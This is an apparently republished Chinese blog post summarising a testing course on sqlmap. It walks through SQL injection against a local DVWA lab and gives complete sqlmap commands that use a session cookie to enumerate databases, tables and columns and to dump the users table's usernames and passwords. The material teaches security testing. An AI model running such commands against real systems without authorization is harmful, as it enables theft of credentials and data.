专栏首页测试技术圈安全测试工具sqlmap

安全测试工具sqlmap

在周四的测试运维试听课程中,芒果给大家介绍了安全测试工具sqlmap的使用,这里我们来做个小总结。

sqlmap注入

作为OWASP TOP 10 中的 NO 1,注入是目前web安全问题,而sql注入可以算得上注入的典型代表了。

什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

sqlmap介绍与安装

我们在课程中所介绍的sqlmap就是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。

注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点。

它由python语言开发而成,通过运行.py文件执行检测和注入工作。

安装:

下载sqlmap.zip文件,解压后即可使用

下载地址:http://sqlmap.org/

以命令行执行sql注入命令:

python sqlmap.py [参数]

以API方式执行sql注入命令:

python sqlmapapi.py [参数]

sqlmap使用范例

接下来,我们来试试使用sqlmap来做几个简单的注入测试,这里选择dvwa作为被测网站(设置安全级别为low)。

一个简单的get注入:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

结果显示:

根据302的重定向,我们可以看出需要做登录,这里我们利用cookie跳过登录设置。

查看dvwa对应的cookie值为:

利用cookie值进行登录验证后注入:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=1br22d5fh0kp6k0k96k2h03mh5"

结果显示:

可以查看到注入点为id,之后利用漏洞,获取数据库数据:

#查看所有的数据库
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --dbs

#查看当前的数据库名称
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --current-db

#查看当前库所有表格
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa --tables

#查看表数据格式
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users --columns

#查看数据库中的指定表格数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users  -C "user,password" --dump

通过逐步的深入注入,我们可以直接查看到dvwa系统中,users表格中所有用户的用户名以及密码:

续的啰啰嗦嗦

当然除了课程内容除了这些基本的介绍,芒果还给大家介绍了,关于带大家学习安全测试、xss注入、sql注入等安全测试方式等内容。

本文分享自微信公众号 - V社 北京社(SoftwareTesters),作者:芒果

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-12-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 快速搭建团队的GitLab

    研发效能的其实端是代码仓的管理和统一维护,通过统一的私有化的Git托管服务实现代码的内部有限共享。代码仓在研发效能的提升中占据很重要的地位,这是DevOps工具...

    Criss@陈磊
  • 带你全面了解Http和Https(开发人员必备)

    Http和Https属于计算机网络范畴,但作为开发人员,不管是后台开发或是前台开发,都很有必要掌握它们。

    Criss@陈磊
  • 这些高性能负载均衡架构知识点,90%的人分不清!

    高性能集群的本质很简单,通过增加更多的服务器来提升系统整体的计算能力。由于计算本身存在一个特点:同样的输入数据和逻辑,无论在哪台服务器上执行,都应该得到相同的输...

    Criss@陈磊
  • dot net core 使用 IPC 进程通信 原理例子序列化

    一般都是使用 WCF 或 remoting 做远程通信,但是 dot net core 不支持 WCF 所以暂时我就只能使用 管道通信。

    林德熙
  • LeetCode 刷题笔记——递归与回溯的理解

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.n...

    剑影啸清寒
  • Android AsyncTask完全解析,带你从源码的角度彻底理解

    我们都知道,Android UI是线程不安全的,如果想要在子线程里进行UI操作,就需要借助Android的异步消息处理机制。之前我也写过了一篇文章从源码层面分析...

    用户1158055
  • 「工业落地」基于异质图神经网络的异常账户检测

    本文的目的是检测支付宝的异常用户。文中针对支付宝用户的“设备聚集性”和“活动聚集性”特征,在传统GCN的基础上进行改进提出GEM模型:考虑不同节点类型构建异构图...

    Houye
  • 【性能优化】一个执行计划异常变更的案例(上)

    作者简介: ? 刘晨,网名bisal,Oracle 10g/11g OCM,并国内首批Oracle YEP成员, 博客:blog.itpub.net/bisal...

    数据和云
  • Django学习笔记之form组件的局部钩子和全局钩子

    Jetpropelledsnake21
  • JDK8新特性之接口默认方法与静态方法

    接口默认方法与静态方法 有这样一些场景,如果一个接口要添加一个方法,那所有的接口实现类都要去实现,而某些实现类根本就不需要实现这个方法也要写一个空实现,所以接口...

    Java技术栈

扫码关注云+社区

领取腾讯云代金券